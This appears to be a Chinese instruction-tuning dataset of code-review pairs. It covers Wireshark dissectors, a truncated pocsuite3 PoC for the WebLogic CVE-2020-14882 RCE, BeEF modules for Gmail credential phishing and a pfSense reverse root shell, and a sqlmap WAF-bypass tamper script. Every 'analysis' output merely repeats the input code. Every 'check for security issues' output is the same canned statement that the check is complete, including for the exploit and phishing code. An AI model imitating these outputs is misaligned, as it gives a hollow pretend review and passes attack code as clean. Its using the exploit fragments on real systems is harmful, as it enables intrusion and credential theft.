Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-doip.c
 * Routines for DoIP (ISO13400) protocol packet disassembly
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

#include "config.h"
#include <epan/packet.h>
#include <epan/uat.h>
#include <epan/expert.h>

#include "packet-tcp.h"
#include "packet-tls.h"
#include "packet-doip.h"

void proto_register_doip(void);
void proto_reg_handoff_doip(void);

#define DOIP_PORT                                  13400
#define DOIP_TLS_PORT                               3496

#define DOIP_GENERIC_NACK                          0x0000
#define DOIP_VEHICLE_IDENTIFICATION_REQ            0x0001
#define DOIP_VEHICLE_IDENTIFICATION_REQ_EID        0x0002
#define DOIP_VEHICLE_IDENTIFICATION_REQ_VIN        0x0003
#define DOIP_VEHICLE_ANNOUNCEMENT_MESSAGE          0x0004
#define DOIP_ROUTING_ACTIVATION_REQUEST            0x0005
#define DOIP_ROUTING_ACTIVATION_RESPONSE           0x0006
#define DOIP_ALIVE_CHECK_REQUEST                   0x0007
#define DOIP_ALIVE_CHECK_RESPONSE                  0x0008
#define DOIP_ENTITY_STATUS_REQUEST                 0x4001
#define DOIP_ENTITY_STATUS_RESPONSE                0x4002
#define DOIP_POWER_INFORMATION_REQUEST             0x4003
#define DOIP_POWER_INFORMATION_RESP...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
import re
import time
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2020-10-21'
    createDate = '2020-11-2'
    updateDate = '2020-11-2'
    references = [
        'https://www.oracle.com/security-alerts/cpuoct2020traditional.html',
        'https://github.com/jas502n/CVE-2020-14882'
    ]
    name = 'CVE-2020–14882 Weblogic Unauthorized bypass RCE'
    appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
    appName = 'WebLogic'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
    Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.    影响产品：10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
    '''

    def _verify(self):
        headers = {
            'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'}

        def check_console(target):
            if not target.startswith('http'):
                target = 'http://{}'.format(target)
            url = '{}/console/'.format(target)
            try:
                r = req.get(url, headers=headers, verify=False, timeout=5)
                if r.status_code == req.codes.ok:
                    if...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
import re
import time
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2020-10-21'
    createDate = '2020-11-2'
    updateDate = '2020-11-2'
    references = [
        'https://www.oracle.com/security-alerts/cpuoct2020traditional.html',
        'https://github.com/jas502n/CVE-2020-14882'
    ]
    name = 'CVE-2020–14882 Weblogic Unauthorized bypass RCE'
    appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
    appName = 'WebLogic'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
    Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.    影响产品：10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
    '''

    def _verify(self):
        headers = {
            'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'}

        def check_console(target):
            if not target.startswith('http'):
                target = 'http://{}'.format(target)
            url = '{}/console/'.format(target)
            try:
                r = req.get(url, headers=headers, verify=False, timeout=5)
                if r.status_code == req.codes.ok:
                    if...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* privileges.c
 * Routines for handling privileges, e.g. set-UID and set-GID on UNIX.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2006 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_WSUTIL

#if defined(HAVE_SETRESUID) || defined(HAVE_SETREGUID)
#define _GNU_SOURCE /* Otherwise [sg]etres[gu]id won't be defined on Linux */
#endif
#include "privileges.h"

#include <wsutil/ws_assert.h>
#include <wsutil/wslog.h>

#ifdef _WIN32
#include <windows.h>
#include <wchar.h>
#include <tchar.h>

/*
 * Called when the program starts, to save whatever credential information
 * we'll need later, and to do whatever other specialized platform-dependent
 * initialization we want.
 */
void
init_process_policies(void)
{
	/*
	 * If we have SetProcessDEPPolicy(), turn "data execution
	 * prevention" on - i.e., if the MMU lets you set execute
	 * permission on a per-page basis, turn execute permission
	 * off on most data pages.  SetProcessDEPPolicy() fails on
	 * 64-bit Windows (it's *always* on there), but if it fails,
	 * we don't care (we did our best), so we don't check for
	 * errors.
	 *
	 */
	SetProcessDEPPolicy(PROCESS_DEP_ENABLE);
}

/*
 * For now, we say the program wasn't started with special privileges.
 * There are ways of running programs with credentials other than those
 * for the session in which it's run, but I don't know whether that'd be
 * done with Wireshark/TShark or not.
 */
gboolean
started_with_special_privs(void)
{
	return FALSE;
}

/*
 * For now, we say the program isn't running with special privileges.
 * There are ways of running programs with credentials other than those
 * for the session in which it's run, but I don't know whether that'd be
 * done with Wireshark/TShark or not.
 */
gboolean
running_with_special_privs(void)
{
	return FALSE;
}

/*
 * For now, we don't do anything when asked to relinquish special privileges.
 */
void
re...


Instruction: 检查这段代码是否存在安全问题

Input:
/* privileges.c
 * Routines for handling privileges, e.g. set-UID and set-GID on UNIX.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2006 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_WSUTIL

#if defined(HAVE_SETRESUID) || defined(HAVE_SETREGUID)
#define _GNU_SOURCE /* Otherwise [sg]etres[gu]id won't be defined on Linux */
#endif
#include "privileges.h"

#include <wsutil/ws_assert.h>
#include <wsutil/wslog.h>

#ifdef _WIN32
#include <windows.h>
#include <wchar.h>
#include <tchar.h>

/*
 * Called when the program starts, to save whatever credential information
 * we'll need later, and to do whatever other specialized platform-dependent
 * initialization we want.
 */
void
init_process_policies(void)
{
	/*
	 * If we have SetProcessDEPPolicy(), turn "data execution
	 * prevention" on - i.e., if the MMU lets you set execute
	 * permission on a per-page basis, turn execute permission
	 * off on most data pages.  SetProcessDEPPolicy() fails on
	 * 64-bit Windows (it's *always* on there), but if it fails,
	 * we don't care (we did our best), so we don't check for
	 * errors.
	 *
	 */
	SetProcessDEPPolicy(PROCESS_DEP_ENABLE);
}

/*
 * For now, we say the program wasn't started with special privileges.
 * There are ways of running programs with credentials other than those
 * for the session in which it's run, but I don't know whether that'd be
 * done with Wireshark/TShark or not.
 */
gboolean
started_with_special_privs(void)
{
	return FALSE;
}

/*
 * For now, we say the program isn't running with special privileges.
 * There are ways of running programs with credentials other than those
 * for the session in which it's run, but I don't know whether that'd be
 * done with Wireshark/TShark or not.
 */
gboolean
running_with_special_privs(void)
{
	return FALSE;
}

/*
 * For now, we don't do anything when asked to relinquish special privileges.
 */
void
re...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Gmail_phishing < BeEF::Core::Command
  def self.options
    @configuration = BeEF::Core::Configuration.instance
    proto = @configuration.beef_proto
    beef_host = @configuration.beef_host
    beef_port = @configuration.beef_port
    base_host = "#{proto}://#{beef_host}:#{beef_port}"

    xss_hook_url = "#{base_host}/demos/plain.html"
    logout_gmail_interval = 10_000
    wait_seconds_before_redirect = 1000
    [
      { 'name' => 'xss_hook_url',
        'description' => 'The URI including the XSS to hook a browser. If the XSS is not exploitable via an URI, ' \
        'simply leave this field empty, but this means you will loose the hooked browser after executing this module.',
        'ui_label' => 'XSS hook URI',
        'value' => xss_hook_url,
        'width' => '300px' }, {
          'name' => 'logout_gmail_interval',
          'description' => 'The victim is continuously loged out of Gmail. This is the interval in ms.',
          'ui_label' => 'Gmail logout interval (ms)',
          'value' => logout_gmail_interval,
          'width' => '100px'
        }, {
          'name' => 'wait_seconds_before_redirect',
          'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) ' \
          'before we redirect to the real Gmail page, so that BeEF gets the credentials in time.',
          'ui_label' => 'Redirect delay (ms)',
          'value' => wait_seconds_before_redirect,
          'width' => '100px'
        }
    ]
  end

  def post_execute
    content = {}
    content['Result'] = @datastore['result']
    save content
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Gmail_phishing < BeEF::Core::Command
  def self.options
    @configuration = BeEF::Core::Configuration.instance
    proto = @configuration.beef_proto
    beef_host = @configuration.beef_host
    beef_port = @configuration.beef_port
    base_host = "#{proto}://#{beef_host}:#{beef_port}"

    xss_hook_url = "#{base_host}/demos/plain.html"
    logout_gmail_interval = 10_000
    wait_seconds_before_redirect = 1000
    [
      { 'name' => 'xss_hook_url',
        'description' => 'The URI including the XSS to hook a browser. If the XSS is not exploitable via an URI, ' \
        'simply leave this field empty, but this means you will loose the hooked browser after executing this module.',
        'ui_label' => 'XSS hook URI',
        'value' => xss_hook_url,
        'width' => '300px' }, {
          'name' => 'logout_gmail_interval',
          'description' => 'The victim is continuously loged out of Gmail. This is the interval in ms.',
          'ui_label' => 'Gmail logout interval (ms)',
          'value' => logout_gmail_interval,
          'width' => '100px'
        }, {
          'name' => 'wait_seconds_before_redirect',
          'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) ' \
          'before we redirect to the real Gmail page, so that BeEF gets the credentials in time.',
          'ui_label' => 'Redirect delay (ms)',
          'value' => wait_seconds_before_redirect,
          'width' => '100px'
        }
    ]
  end

  def post_execute
    content = {}
    content['Result'] = @datastore['result']
    save content
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command
  def pre_send
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js')
  end

  def self.options
    configuration = BeEF::Core::Configuration.instance
    lhost = configuration.get('beef.http.host').to_s
    lhost = '' if lhost == '0.0.0.0'
    [
      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254' },
      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },
      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }
    ]
  end

  def post_execute
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')
    save({ 'result' => @datastore['result'] })
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command
  def pre_send
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js')
  end

  def self.options
    configuration = BeEF::Core::Configuration.instance
    lhost = configuration.get('beef.http.host').to_s
    lhost = '' if lhost == '0.0.0.0'
    [
      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254' },
      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },
      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }
    ]
  end

  def post_execute
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-msgpack.c
 *
 * Routines for MsgPack dissection
 * References:
 *   https://github.com/msgpack/msgpack/
 *
 * Copyright 2018, Dario Lombardo <lomato@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/to_str.h>

#include <math.h>

void proto_register_msgpack(void);
void proto_reg_handoff_msgpack(void);

dissector_handle_t msgpack_handle;

static int proto_msgpack = -1;

static int hf_msgpack_string = -1;
static int hf_msgpack_type = -1;
static int hf_msgpack_string_len = -1;
static int hf_msgpack_uint_8 = -1;
static int hf_msgpack_uint_16 = -1;
static int hf_msgpack_uint_32 = -1;
static int hf_msgpack_uint_64 = -1;
static int hf_msgpack_int_8 = -1;
static int hf_msgpack_int_16 = -1;
static int hf_msgpack_int_32 = -1;
static int hf_msgpack_int_64 = -1;
static int hf_msgpack_bool = -1;
static int hf_msgpack_float = -1;
static int hf_msgpack_ext_fixext = -1;
static int hf_msgpack_ext_type = -1;
static int hf_msgpack_ext_bytes = -1;

static gint ett_msgpack = -1;
static gint ett_msgpack_string = -1;
static gint ett_msgpack_array = -1;
static gint ett_msgpack_map = -1;
static gint ett_msgpack_map_elem = -1;
static gint ett_msgpack_ext = -1;

static expert_field ei_msgpack_unsupported = EI_INIT;

static const value_string msgpack_ext_fixtexts[] = {
	{ 0xd4, "fixext 1" },
	{ 0xd5, "fixext 2" },
	{ 0xd6, "fixext 4" },
	{ 0xd7, "fixext 8" },
	{ 0xd8, "fixext 16" },
	{ 0, NULL }
};

static void dissect_msgpack_object(tvbuff_t* tvb, packet_info* pinfo, proto_tree* tree, void* data, int* offset, char** value);

static void dissect_msgpack_integer(tvbuff_t* tvb, packet_info *pinfo, proto_tree* tree, guint8 type, void* data, int* offset, char** value)
{
	guint8 uint8;
	guint16 uint16;
	guint32 uint32;
	guint64 uint64;
	gint8 int8;
	gint16 int16;
	gint32 int32;...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-msgpack.c
 *
 * Routines for MsgPack dissection
 * References:
 *   https://github.com/msgpack/msgpack/
 *
 * Copyright 2018, Dario Lombardo <lomato@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/to_str.h>

#include <math.h>

void proto_register_msgpack(void);
void proto_reg_handoff_msgpack(void);

dissector_handle_t msgpack_handle;

static int proto_msgpack = -1;

static int hf_msgpack_string = -1;
static int hf_msgpack_type = -1;
static int hf_msgpack_string_len = -1;
static int hf_msgpack_uint_8 = -1;
static int hf_msgpack_uint_16 = -1;
static int hf_msgpack_uint_32 = -1;
static int hf_msgpack_uint_64 = -1;
static int hf_msgpack_int_8 = -1;
static int hf_msgpack_int_16 = -1;
static int hf_msgpack_int_32 = -1;
static int hf_msgpack_int_64 = -1;
static int hf_msgpack_bool = -1;
static int hf_msgpack_float = -1;
static int hf_msgpack_ext_fixext = -1;
static int hf_msgpack_ext_type = -1;
static int hf_msgpack_ext_bytes = -1;

static gint ett_msgpack = -1;
static gint ett_msgpack_string = -1;
static gint ett_msgpack_array = -1;
static gint ett_msgpack_map = -1;
static gint ett_msgpack_map_elem = -1;
static gint ett_msgpack_ext = -1;

static expert_field ei_msgpack_unsupported = EI_INIT;

static const value_string msgpack_ext_fixtexts[] = {
	{ 0xd4, "fixext 1" },
	{ 0xd5, "fixext 2" },
	{ 0xd6, "fixext 4" },
	{ 0xd7, "fixext 8" },
	{ 0xd8, "fixext 16" },
	{ 0, NULL }
};

static void dissect_msgpack_object(tvbuff_t* tvb, packet_info* pinfo, proto_tree* tree, void* data, int* offset, char** value);

static void dissect_msgpack_integer(tvbuff_t* tvb, packet_info *pinfo, proto_tree* tree, guint8 type, void* data, int* offset, char** value)
{
	guint8 uint8;
	guint16 uint16;
	guint32 uint32;
	guint64 uint64;
	gint8 int8;
	gint16 int16;
	gint32 int32;...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)

    Notes:
        * Useful to bypass weak filtering and/or WAFs in JSON contexes

    >>> tamper('SELECT FIELD FROM TABLE')
    '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += "\\u00%s" % payload[i + 1:i + 3]
                i += 3
            else:
                retVal += '\\u%.4X' % ord(payload[i])
                i += 1

    return retVal


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)

    Notes:
        * Useful to bypass weak filtering and/or WAFs in JSON contexes

    >>> tamper('SELECT FIELD FROM TABLE')
    '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += "\\u00%s" % payload[i + 1:i + 3]
                i += 3
            else:
                retVal += '\\u%.4X' % ord(payload[i])
                i += 1

    return retVal

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 2003 Markus Friedl.  All rights reserved.
 *
 * SPDX-License-Identifier: BSD-2-Clause
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_udpencap(void);
void proto_reg_handoff_udpencap(void);

#define UDPENCAP_PORT 4500

static int proto_udpencap = -1;

static int hf_nat_keepalive = -1;
static int hf_non_esp_marker = -1;

static gint ett_udpencap = -1;

static dissector_handle_t udpencap_handle;
static dissector_handle_t esp_handle;
static dissector_handle_t isakmp_handle;

/*
 * UDP Encapsulation of IPsec Packets
 * draft-ietf-ipsec-udp-encaps-06.txt
 */
static int
dissect_udpencap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  tvbuff_t   *next_tvb;
  proto_tree *udpencap_tree;
  proto_item *ti;
  guint32     spi;

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "UDPENCAP");
  col_clear(pinfo->cinfo, COL_INFO);

  ti = proto_tree_add_item(tree, proto_udpencap, tvb, 0, -1, ENC_NA);
  udpencap_tree = proto_item_add_subtree(ti, ett_udpencap);

  /* 1 byte of 0xFF indicates NAT-keepalive */
  if ((tvb_captured_length(tvb) == 1) && (tvb_get_guint8(tvb, 0) == 0xff)) {
    col_set_str(pinfo->cinfo, COL_INFO, "NAT-keepalive");
    proto_tree_add_item(udpencap_tree, hf_nat_keepalive, tvb, 0, 1, ENC_NA);
  } else {
    /* SPI of zero indicates IKE traffic, otherwise it's ESP */
    spi = tvb_get_ntohl(tvb, 0);
    if (spi == 0) {
      col_set_str(pinfo->cinfo, COL_INFO, "ISAKMP");
      proto_tree_add_item(udpencap_tree, hf_non_esp_marker, tvb, 0, 4, ENC_NA);
      proto_item_set_len(ti, 4);
      next_tvb = tvb_new_subset_remaining(tvb, 4);
      call_dissector(isakmp_handle, next_tvb, pinfo, tree);
    } else {
      col_set_str(pinfo->cinfo, COL_INFO, "ESP");
      proto_item_set_len(ti, 0);
      call_dissector(esp_handle, tvb, pinfo, tree);
    }
  }
  return tvb_captured_length(tvb);
}

void
proto_register_udpencap(void)
{
  static hf_register_info hf[] = {
    { &hf_nat_keepalive, { "NAT-keepalive packet", ...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 2003 Markus Friedl.  All rights reserved.
 *
 * SPDX-License-Identifier: BSD-2-Clause
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_udpencap(void);
void proto_reg_handoff_udpencap(void);

#define UDPENCAP_PORT 4500

static int proto_udpencap = -1;

static int hf_nat_keepalive = -1;
static int hf_non_esp_marker = -1;

static gint ett_udpencap = -1;

static dissector_handle_t udpencap_handle;
static dissector_handle_t esp_handle;
static dissector_handle_t isakmp_handle;

/*
 * UDP Encapsulation of IPsec Packets
 * draft-ietf-ipsec-udp-encaps-06.txt
 */
static int
dissect_udpencap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  tvbuff_t   *next_tvb;
  proto_tree *udpencap_tree;
  proto_item *ti;
  guint32     spi;

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "UDPENCAP");
  col_clear(pinfo->cinfo, COL_INFO);

  ti = proto_tree_add_item(tree, proto_udpencap, tvb, 0, -1, ENC_NA);
  udpencap_tree = proto_item_add_subtree(ti, ett_udpencap);

  /* 1 byte of 0xFF indicates NAT-keepalive */
  if ((tvb_captured_length(tvb) == 1) && (tvb_get_guint8(tvb, 0) == 0xff)) {
    col_set_str(pinfo->cinfo, COL_INFO, "NAT-keepalive");
    proto_tree_add_item(udpencap_tree, hf_nat_keepalive, tvb, 0, 1, ENC_NA);
  } else {
    /* SPI of zero indicates IKE traffic, otherwise it's ESP */
    spi = tvb_get_ntohl(tvb, 0);
    if (spi == 0) {
      col_set_str(pinfo->cinfo, COL_INFO, "ISAKMP");
      proto_tree_add_item(udpencap_tree, hf_non_esp_marker, tvb, 0, 4, ENC_NA);
      proto_item_set_len(ti, 4);
      next_tvb = tvb_new_subset_remaining(tvb, 4);
      call_dissector(isakmp_handle, next_tvb, pinfo, tree);
    } else {
      col_set_str(pinfo->cinfo, COL_INFO, "ESP");
      proto_item_set_len(ti, 0);
      call_dissector(esp_handle, tvb, pinfo, tree);
    }
  }
  return tvb_captured_length(tvb);
}

void
proto_register_udpencap(void)
{
  static hf_register_info hf[] = {
    { &hf_nat_keepalive, { "NAT-keepalive packet", ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-h501.c
 * Routines for H.501 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-tpkt.h"
#include "packet-per.h"
#include "packet-h225.h"
#include "packet-h235.h"

#define PNAME  "H.501 Mobility"
#define PSNAME "H.501"
#define PFNAME "h501"

void proto_register_h501(void);

/* Initialize the protocol and registered fields */
static int proto_h501 = -1;
#include "packet-h501-hf.c"

/* Initialize the subtree pointers */
static int ett_h501 = -1;
#include "packet-h501-ett.c"

/* Dissectors */
static dissector_handle_t h501_pdu_handle;
static dissector_handle_t h501_udp_handle;
static dissector_handle_t h501_tcp_handle;

/* Preferences */
#define H501_PORT 2099
static gboolean h501_desegment_tcp = TRUE;

void proto_reg_handoff_h501(void);

#include "packet-h501-fn.c"

static int
dissect_h501_pdu(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
  proto_item  *ti = NULL;
  proto_tree  *h501_tree = NULL;

  col_set_str(pinfo->cinfo, COL_PROTOCOL, PSNAME);

  ti = proto_tree_add_item(tree, proto_h501, tvb, 0, -1, ENC_NA);
  h501_tree = proto_item_add_subtree(ti, ett_h501);

  return dissect_Message_PDU(tvb, pinfo, h501_tree, NULL);
}

static int
dissect_h501_udp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
  dissect_tpkt_encap(tvb, pinfo, tree, FALSE, h501_pdu_handle);
  return tvb_captured_length(tvb);
}

static int
dissect_h501_tcp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
  dissect_tpkt_encap(tvb, pinfo, tree, h501_desegment_tcp, h501_pdu_handle);
  return tvb_captured_length(tvb);
}

/*--- proto_register_h501 ----------------------------------------------*/
void proto_register_h501(void) {
  module_...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-h501.c
 * Routines for H.501 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-tpkt.h"
#include "packet-per.h"
#include "packet-h225.h"
#include "packet-h235.h"

#define PNAME  "H.501 Mobility"
#define PSNAME "H.501"
#define PFNAME "h501"

void proto_register_h501(void);

/* Initialize the protocol and registered fields */
static int proto_h501 = -1;
#include "packet-h501-hf.c"

/* Initialize the subtree pointers */
static int ett_h501 = -1;
#include "packet-h501-ett.c"

/* Dissectors */
static dissector_handle_t h501_pdu_handle;
static dissector_handle_t h501_udp_handle;
static dissector_handle_t h501_tcp_handle;

/* Preferences */
#define H501_PORT 2099
static gboolean h501_desegment_tcp = TRUE;

void proto_reg_handoff_h501(void);

#include "packet-h501-fn.c"

static int
dissect_h501_pdu(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
  proto_item  *ti = NULL;
  proto_tree  *h501_tree = NULL;

  col_set_str(pinfo->cinfo, COL_PROTOCOL, PSNAME);

  ti = proto_tree_add_item(tree, proto_h501, tvb, 0, -1, ENC_NA);
  h501_tree = proto_item_add_subtree(ti, ett_h501);

  return dissect_Message_PDU(tvb, pinfo, h501_tree, NULL);
}

static int
